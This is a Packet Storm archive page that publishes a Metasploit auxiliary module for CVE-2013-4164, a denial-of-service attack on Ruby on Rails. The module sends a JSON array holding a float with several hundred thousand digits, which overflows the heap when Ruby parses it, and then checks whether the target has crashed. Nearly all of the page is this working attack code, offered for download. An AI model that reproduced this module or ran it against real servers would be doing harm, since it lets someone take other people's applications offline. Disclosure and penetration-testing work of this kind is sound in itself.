what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service
Posted Aug 31, 2024
Authored by Tod Beardsley, Charlie Somerville, joev | Site metasploit.com

When Ruby attempts to convert a string representation of a large floating point decimal number to its floating point equivalent, a heap-based buffer overflow can be triggered. This Metasploit module has been tested successfully on a Ruby on Rails application using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application crashes with a segfault error. Other versions of Ruby are reported to be affected.

tags | exploit, web, overflow, ruby
advisories | CVE-2013-4164
SHA-256 | 2d1198655520ca701328d30ac959c34844102b92bdc9874522f9945cc8f352d4

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
'Description' => %q{
When Ruby attempts to convert a string representation of a large floating point
decimal number to its floating point equivalent, a heap-based buffer overflow
can be triggered. This module has been tested successfully on a Ruby on Rails application
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
crashes with a segfault error. Other versions of Ruby are reported to be affected.
},
'Author' =>
[
'Charlie Somerville', # original discoverer
'joev', # bash PoC
'todb', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4164' ],
[ 'OSVDB', '100113' ],
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
],
'DisclosureDate' => '2013-11-22'))
register_options(
[
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
])
end

def uri
normalize_uri(target_uri.path.to_s)
end

def verb
datastore['HTTPVERB'] || 'POST'
end

def digit_pattern
@digit_pattern ||= rand(10_000).to_s
end

def integer_part
digit_pattern
end

def multiplier
(500_000 * (1.0/digit_pattern.size)).to_i
end

def fractional_part
digit_pattern * multiplier
end

# The evil_float seems to require some repeating element. Maybe
# it's just superstition, but straight up 300_002-lenth random
# numbers don't appear to trigger the vulnerability. Also, these are
# easier to produce, and slightly better than the static "1.1111..."
# for 300,000 decimal places.
def evil_float_string
[integer_part,fractional_part].join('.')
end

def run
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
sploit = '['
sploit << evil_float_string
sploit << ']'
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
target_available = true

begin
res = send_request_cgi(
{
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => sploit
})
rescue ::Rex::ConnectionRefused
print_error "Unable to connect. (Connection refused)"
target_available = false
rescue ::Rex::HostUnreachable
print_error "Unable to connect. (Host unreachable)"
target_available = false
rescue ::Rex::ConnectionTimeout
print_error "Unable to connect. (Timeout)"
target_available = false
end

return unless target_available

print_status "Checking availability"
begin
res = send_request_cgi({
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
})
if res and res.body and res.body.size > 0
target_available = true
else
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
target_available = false
end
rescue ::Rex::ConnectionError, Errno::ECONNRESET
print_good "DoS appears successful (Host unreachable)"
target_available = false
end

return unless target_available

print_error "Target is still responsive, DoS was unsuccessful."

end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close